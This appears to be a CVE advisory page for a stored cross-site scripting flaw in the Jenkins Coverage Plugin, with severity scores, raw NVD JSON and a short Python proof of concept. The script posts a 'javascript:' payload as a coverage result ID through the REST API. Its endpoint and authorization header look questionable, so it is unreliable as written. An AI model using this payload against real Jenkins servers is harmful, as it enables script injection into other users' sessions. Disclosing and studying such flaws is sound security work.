Security Vulnerability Report
中文
CVE-2025-67641 CVSS 5.4 MEDIUM

CVE-2025-67641

Published: 2025-12-10 17:15:57
Last Modified: 2025-12-17 17:24:43

Description

Jenkins Coverage Plugin 2.3054.ve1ff7b_a_a_123b_ and earlier does not validate the configured coverage results ID when creating coverage results, only when submitting the job configuration through the UI, allowing attackers with Item/Configure permission to use a `javascript:` scheme URL as identifier by configuring the job through the REST API, resulting in a stored cross-site scripting (XSS) vulnerability.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:coverage:*:*:*:*:*:jenkins:*:* - VULNERABLE
Jenkins Coverage Plugin <= 2.3054.ve1ff7b_a_a_123b_

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-67641 PoC - Jenkins Coverage Plugin Stored XSS via REST API # Target: Jenkins with Coverage Plugin <= 2.3054.ve1ff7b_a_a_123b_ TARGET_URL = "http://target-jenkins-server" JOB_NAME = "vulnerable-job" API_TOKEN = "attacker-api-token" USER_ID = "attacker-username" # Step 1: Create or update coverage result via REST API with XSS payload xss_payload = "javascript:alert(document.domain)" api_url = f"{TARGET_URL}/job/{JOB_NAME}/coverage/result" headers = { "Content-Type": "application/json", "Authorization": f"Basic {USER_ID}:{API_TOKEN}" } data = { "id": xss_payload, "name": "Malicious Coverage Result", "path": "/malicious" } # Send malicious request via REST API (bypasses UI validation) response = requests.post(api_url, headers=headers, json=data, verify=False) print(f"[*] Payload sent, status: {response.status_code}") print(f"[*] Response: {response.text}") # The XSS payload is now stored and will execute when users view the coverage page

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67641", "sourceIdentifier": "[email protected]", "published": "2025-12-10T17:15:56.630", "lastModified": "2025-12-17T17:24:42.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins Coverage Plugin 2.3054.ve1ff7b_a_a_123b_ and earlier does not validate the configured coverage results ID when creating coverage results, only when submitting the job configuration through the UI, allowing attackers with Item/Configure permission to use a `javascript:` scheme URL as identifier by configuring the job through the REST API, resulting in a stored cross-site scripting (XSS) vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:coverage:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "2.3054.ve1ff7b_a_a_123b", "matchCriteriaId": "B63C4D87-0EC9-4876-8C22-9888A06E7015"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-12-10/#SECURITY-3611", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}